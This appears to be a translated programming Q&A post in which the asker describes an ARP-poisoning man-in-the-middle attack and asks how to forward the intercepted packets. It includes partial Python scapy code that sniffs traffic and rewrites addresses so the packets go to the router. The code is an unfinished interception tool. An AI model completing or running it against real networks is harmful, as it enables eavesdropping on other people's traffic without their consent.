Ошибка при идентификации пакетов со scapy для перенаправления с отравлением ARP - PullRequest
2 голосов
/ 12 июня 2019

Я пытаюсь выполнить ARP MiTM-атаку с уже выполненной частью отравления ARP. Однако я не могу понять, как перенаправить пакеты, которые я перехватываю. Большинство уроков, которые я видел в сети, либо пропускают часть модификации и пересылки пакетов, либо предлагают это через командную строку и wireshark. Можно ли это сделать через чистый питон (с внешними библиотеками)?

Я использую Mac OS X Mojave.

def handle(pkt):
    logging.debug(pkt.summary())
    try:
        if all((pkt[0].dst == MAC,
                pkt[1].dst != IP,
                pkt[0].src != MAC,
                pkt[1].src != IP
                )):
            npkt = pkt
            npkt[0].dst = ROUTER_MAC
            npkt[0].src = MAC
            # npkt[1].dst = ROUTER
            npkt[1].src = IP
            logging.info("pkt from \n##########  ({}) -> ({})".format((pkt[0].src, pkt[1].src, "to", pkt[0].dst, pkt[1].dst),
                (npkt[0].src, npkt[1].src, "to", npkt[0].dst, npkt[1].dst)))
            for bpkt in srp(npkt, verbose=False):
                fbpkt = bpkt
                fbpkt[0].dst = pkt[0].src
                fbpkt[0].src = MAC
                fbpkt[1].dst = pkt[1].src
                # fbpkt[1].src = ROUTER
            logging.info("pkt from {} redirection success".format((pkt[0].src,pkt[1].src)))
    except AttributeError:
        pass
    except:
        logging.exception("")


if __name__ == "__main__":
    ROUTER = netifaces.gateways()['default'][2][0]
    ROUTER_MAC = sr1(ARP(pdst=ROUTER), verbose=False).hwsrc
    IP = netifaces.ifaddresses('en0')[netifaces.AF_INET][0]["addr"]
    MAC = netifaces.ifaddresses('en0')[netifaces.AF_LINK][0]["addr"]
    VICTIMS = []
    sniff(prn=handle)
...